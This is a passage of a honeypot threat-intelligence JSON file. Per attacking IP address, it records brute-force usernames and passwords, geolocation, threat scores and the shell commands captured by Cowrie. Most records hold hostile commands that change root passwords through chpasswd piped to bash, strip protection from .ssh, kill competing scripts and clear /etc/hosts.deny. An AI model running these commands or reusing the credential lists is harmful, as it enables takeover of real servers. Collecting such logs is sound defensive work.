        "persistence": 10.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 464,
        "days_active_30d": 12,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T09:08:27.065000+00:00",
        "last_seen_30d": "2026-03-15T20:23:51.686000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 373,
        "Suricata": 91
      }
    },
    "101.36.119.184": {
      "attack_count": 355,
      "first_seen": "2026-03-25T22:22:26.315Z",
      "last_seen": "2026-03-27T07:45:28.164Z",
      "sessions": 36,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ashish",
        "comp",
        "shawn",
        "silvia",
        "sonarqube",
        "user3"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "00998877",
        "1234",
        "12345",
        "1Qaz2wsx",
        "1qazCDE#2wsx",
        "201314",
        "5202414123",
        "90909090",
        "Aa1357911",
        "DS@123456",
        "MrDev2026$",
        "P@$$v0rd12345",
        "P@ssW0rd",
        "Qaz123",
        "Zh123456@",
        "aa1122",
        "amsterdam",
        "ashish1234"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"ashish1234\\nr1eovbRNS9On\\nr1eovbRNS9On\\n\"|passwd",
        "echo \"root:EZQTpA9Gqy6i\"|chpasswd|bash",
        "echo \"root:e6ZiTQRUU2dd\"|chpasswd|bash",
        "echo -e \"ashish1234\\nr1eovbRNS9On\\nr1eovbRNS9On\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 35.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.5,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 442,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-25T22:22:26.315000+00:00",
        "last_seen_30d": "2026-03-27T07:46:35.325000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 355,
        "Suricata": 87
      }
    },
    "103.49.238.22": {
      "attack_count": 346,
      "first_seen": "2026-03-29T16:16:07.374Z",
      "last_seen": "2026-03-29T21:35:29.119Z",
      "sessions": 46,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "fjbdfdjkdsfs541544@@",
        "123$qwer",
        "123456@qwert",
        "12345tgb",
        "1qaz!@#123",
        "1qsx2waz",
        "8282",
        "@root1234.",
        "ASD123!@#",
        "ASDzxc123456",
        "Aa654321!",
        "Backup2026",
        "Changeme!",
        "Cisco@1234",
        "Cn123456",
        "Dx147258",
        "GW123456",
        "Hamid@2024"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:1jx15Pxne5ep\"|chpasswd|bash",
        "echo \"root:49p0tRX17VjF\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 36.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 460,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-29T16:16:07.374000+00:00",
        "last_seen_30d": "2026-03-29T21:36:35.455000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 346,
        "Suricata": 114
      }
    },
    "41.33.91.226": {
      "attack_count": 336,
      "first_seen": "2026-03-04T07:14:18.218Z",
      "last_seen": "2026-03-17T00:32:26.703Z",
      "sessions": 42,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "it",
        "sergio",
        "adi",
        "angelica",
        "crafty",
        "fastuser",
        "foundry",
        "hasan",
        "inversiones",
        "irfan",
        "lisi",
        "mailtest",
        "nico",
        "qa",
        "sumit",
        "term1",
        "ubuntu",
        "userdeploy"
      ],
      "passwords_attempted": [
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "1234",
        "123456",
        "123123456",
        "123455",
        "12345678",
        "1234Qwer!",
        "1q2w3e",
        "1qaz2wsx",
        "Aa123123..",
        "Admin#123456",
        "Admin2020@",
        "Bingo@1993",
        "Fastuser123!",
        "P@ssword1",
        "Qazxsw21",
        "Qwer!234"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"it1234\\nVf0ch25WVjHo\\nVf0ch25WVjHo\\n\"|passwd",
        "echo \"sergio@123456\\n2KUUiG5aMP6t\\n2KUUiG5aMP6t\\n\"|passwd",
        "echo -e \"it1234\\nVf0ch25WVjHo\\nVf0ch25WVjHo\"|passwd|bash",
        "echo -e \"sergio@123456\\n2KUUiG5aMP6t\\n2KUUiG5aMP6t\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Egypt",
      "country_code": "EG",
      "city": "Cairo",
      "asn": 8452,
      "as_org": "TE Data",
      "threat_score": 26.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.4,
        "persistence": 11.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 434,
        "days_active_30d": 14,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T07:14:18.218000+00:00",
        "last_seen_30d": "2026-03-17T00:33:32.491000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 336,
        "Suricata": 98
      }
    },
    "116.99.175.71": {
      "attack_count": 327,
      "first_seen": "2026-03-10T16:32:11.453Z",
      "last_seen": "2026-03-10T16:49:09.820Z",
      "sessions": 65,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "cisco",
        "developer",
        "user",
        "123456",
        "ace",
        "admian",
        "brenda",
        "carol",
        "cf1c22",
        "cpanel",
        "db2inst2",
        "demo",
        "ftp",
        "help",
        "install",
        "kelly",
        "library",
        "madrid"
      ],
      "passwords_attempted": [
        "1234",
        "123456",
        "admin",
        "039715582364317",
        "0987654321",
        "1",
        "111111",
        "112233",
        "123",
        "123456789",
        "1234567890%*()",
        "72b1bd75ac87852a",
        "abc123",
        "ace",
        "administrator",
        "aerohive",
        "brenda",
        "calvin",
        "carol",
        "cf1c22"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 24086,
      "as_org": "Viettel Corporation",
      "threat_score": 12.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.7,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 467,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T16:32:11.453000+00:00",
        "last_seen_30d": "2026-03-10T16:50:15.457000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 327,
        "Suricata": 140
      }
    },
    "152.32.215.134": {
      "attack_count": 281,
      "first_seen": "2026-03-24T01:24:23.138Z",
      "last_seen": "2026-03-24T01:51:53.213Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "alyssa",
        "ftproot",
        "kamal",
        "root",
        "ali",
        "comercial",
        "guest",
        "hacker",
        "janice",
        "mycat",
        "rich",
        "sahil",
        "security",
        "teamspeak"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "123",
        "1234",
        "12345",
        "123456",
        "Admin101",
        "Ali123",
        "alyssa@123456",
        "comercialcomercial",
        "ftprootpass",
        "hackerhacker",
        "janicepass",
        "kamalkamal",
        "user123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"alyssa@123456\\nU1IFkJf7Voas\\nU1IFkJf7Voas\\n\"|passwd",
        "echo \"kamalkamal\\nYvCiFLvCezCB\\nYvCiFLvCezCB\\n\"|passwd",
        "echo \"root:xWe5QZ8VqyyA\"|chpasswd|bash",
        "echo -e \"alyssa@123456\\nU1IFkJf7Voas\\nU1IFkJf7Voas\"|passwd|bash",
        "echo -e \"kamalkamal\\nYvCiFLvCezCB\\nYvCiFLvCezCB\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 29.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 328,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-24T01:24:23.138000+00:00",
        "last_seen_30d": "2026-03-24T01:53:00.403000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 281,
        "Suricata": 47
      }
    },
    "144.31.140.43": {
      "attack_count": 262,
      "first_seen": "2026-03-11T03:32:58.124Z",
      "last_seen": "2026-03-11T03:52:39.827Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "clawd",
        "docker",
        "jenkins",
        "api",
        "csserver",
        "debian",
        "install",
        "maarch",
        "mes",
        "root",
        "wei"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "123",
        "123456",
        "Aa@123456",
        "Debian123",
        "apipass",
        "csserver",
        "maarch123",
        "mespass",
        "wei123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345\\nCNDQPW1klQWM\\nCNDQPW1klQWM\\n\"|passwd",
        "echo \"12345\\nrPn5Y6nAZNNU\\nrPn5Y6nAZNNU\\n\"|passwd",
        "echo \"123\\nLi1ZnKnxoGCw\\nLi1ZnKnxoGCw\\n\"|passwd",
        "echo -e \"12345\\nCNDQPW1klQWM\\nCNDQPW1klQWM\"|passwd|bash",
        "echo -e \"12345\\nrPn5Y6nAZNNU\\nrPn5Y6nAZNNU\"|passwd|bash",
        "echo -e \"123\\nLi1ZnKnxoGCw\\nLi1ZnKnxoGCw\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Orem",
      "asn": 215590,
      "as_org": "DpkgSoft International Limited",
      "threat_score": 12.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 300,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T03:32:58.124000+00:00",
        "last_seen_30d": "2026-03-11T03:53:41.571000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 262,
        "Suricata": 38
      }
    },
    "171.244.37.103": {
      "attack_count": 261,
      "first_seen": "2026-03-11T01:59:54.692Z",
      "last_seen": "2026-03-11T02:25:39.869Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "sysadmin",
        "test",
        "arthur",
        "clawd",
        "jira",
        "jupyter",
        "mob",
        "simeon",
        "usuario1"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123456",
        "12345678",
        "123qweasdZXC",
        "Aa123456Aa",
        "Huawei@123",
        "jira",
        "password",
        "simeon123",
        "sysadmin123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Huawei@123\\nu2GOtD6uV0cc\\nu2GOtD6uV0cc\\n\"|passwd",
        "echo \"root:etbCrhoNQ1De\"|chpasswd|bash",
        "echo \"sysadmin123\\nu6UUbNtNYkzP\\nu6UUbNtNYkzP\\n\"|passwd",
        "echo -e \"Huawei@123\\nu2GOtD6uV0cc\\nu2GOtD6uV0cc\"|passwd|bash",
        "echo -e \"sysadmin123\\nu6UUbNtNYkzP\\nu6UUbNtNYkzP\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 12.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 300,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T01:59:54.692000+00:00",
        "last_seen_30d": "2026-03-11T02:26:45.013000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 261,
        "Suricata": 39
      }
    },
    "152.32.203.205": {
      "attack_count": 259,
      "first_seen": "2026-03-04T03:19:35.419Z",
      "last_seen": "2026-03-04T03:49:39.667Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "Bingo@1993",
        "Password2023!",
        "Qaz@2024",
        "Qwer1234!@",
        "a741852963",
        "aaa111",
        "apple@123",
        "asd123456",
        "cz123456",
        "qa147258",
        "tencent@2022"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:1dluJ2fNHxwe\"|chpasswd|bash",
        "echo \"root:nyCiUSkKP67o\"|chpasswd|bash",
        "echo \"root:uPQdNvcFWAJi\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Tokyo",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 299,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T03:19:35.419000+00:00",
        "last_seen_30d": "2026-03-04T03:50:43.624000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 259,
        "Suricata": 40
      }
    },
    "103.76.120.198": {
      "attack_count": 257,
      "first_seen": "2026-03-17T17:12:44.539Z",
      "last_seen": "2026-03-17T17:34:38.026Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "ai",
        "elearn",
        "toor",
        "ami",
        "db2admin",
        "ernesto",
        "old",
        "rdpuser",
        "root",
        "term1"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "123",
        "12345",
        "Elearn123",
        "admin1!",
        "ami",
        "ernestopass",
        "term1pass",
        "toorpass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123\\nIPRI5YR4k8gQ\\nIPRI5YR4k8gQ\\n\"|passwd",
        "echo \"Elearn123\\ns5oaVeb8BS5g\\ns5oaVeb8BS5g\\n\"|passwd",
        "echo \"toorpass\\n6YLIVEySRW1g\\n6YLIVEySRW1g\\n\"|passwd",
        "echo -e \"123\\nIPRI5YR4k8gQ\\nIPRI5YR4k8gQ\"|passwd|bash",
        "echo -e \"Elearn123\\ns5oaVeb8BS5g\\ns5oaVeb8BS5g\"|passwd|bash",
        "echo -e \"toorpass\\n6YLIVEySRW1g\\n6YLIVEySRW1g\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 20.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 298,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T17:12:44.539000+00:00",
        "last_seen_30d": "2026-03-17T17:35:47.430000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 257,
        "Suricata": 41
      }
    },
    "222.255.214.79": {
      "attack_count": 257,
      "first_seen": "2026-03-15T10:43:42.023Z",
      "last_seen": "2026-03-15T11:03:14.790Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "erwin",
        "tms",
        "user1",
        "administrator",
        "music",
        "ray",
        "rico",
        "root",
        "sami",
        "yasin"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "Administrator123",
        "Rico123!",
        "asdf",
        "erwinpass",
        "ray",
        "tms",
        "user1",
        "yasin1234"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"erwinpass\\nffzuJj2tdzXL\\nffzuJj2tdzXL\\n\"|passwd",
        "echo \"tms\\nCipQht7qlras\\nCipQht7qlras\\n\"|passwd",
        "echo \"user1\\nCPlcJUL7Y5dU\\nCPlcJUL7Y5dU\\n\"|passwd",
        "echo -e \"erwinpass\\nffzuJj2tdzXL\\nffzuJj2tdzXL\"|passwd|bash",
        "echo -e \"tms\\nCipQht7qlras\\nCipQht7qlras\"|passwd|bash",
        "echo -e \"user1\\nCPlcJUL7Y5dU\\nCPlcJUL7Y5dU\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Ho Chi Minh City",
      "asn": 45899,
      "as_org": "VNPT Corp",
      "threat_score": 17.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 293,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T10:43:42.023000+00:00",
        "last_seen_30d": "2026-03-15T11:04:24.110000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 257,
        "Suricata": 36
      }
    },
    "172.173.117.246": {
      "attack_count": 248,
      "first_seen": "2026-03-06T06:55:28.473Z",
      "last_seen": "2026-03-16T02:38:55.413Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "jason",
        "karan",
        "aaa",
        "bryan",
        "db2inst",
        "demon",
        "elk",
        "ftp-user",
        "gateway",
        "joao",
        "kishore",
        "manish",
        "robin",
        "simon",
        "tester",
        "zhy"
      ],
      "passwords_attempted": [
        "12345",
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "123456",
        "12345678",
        "@qwer2025",
        "Asdf1234.",
        "Elk123!",
        "Karan123!",
        "Pass@word1",
        "Zhy123!",
        "admin123456",
        "bryan123!",
        "demon123",
        "dodol123",
        "gateway123",
        "jasonpass",
        "kishore1234",
        "robin"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"Karan123!\\nbeNWufTlG9hc\\nbeNWufTlG9hc\\n\"|passwd",
        "echo \"jasonpass\\n6lp2sB3I7iNE\\n6lp2sB3I7iNE\\n\"|passwd",
        "echo -e \"Karan123!\\nbeNWufTlG9hc\\nbeNWufTlG9hc\"|passwd|bash",
        "echo -e \"jasonpass\\n6lp2sB3I7iNE\\n6lp2sB3I7iNE\"|passwd|bash"
      ],
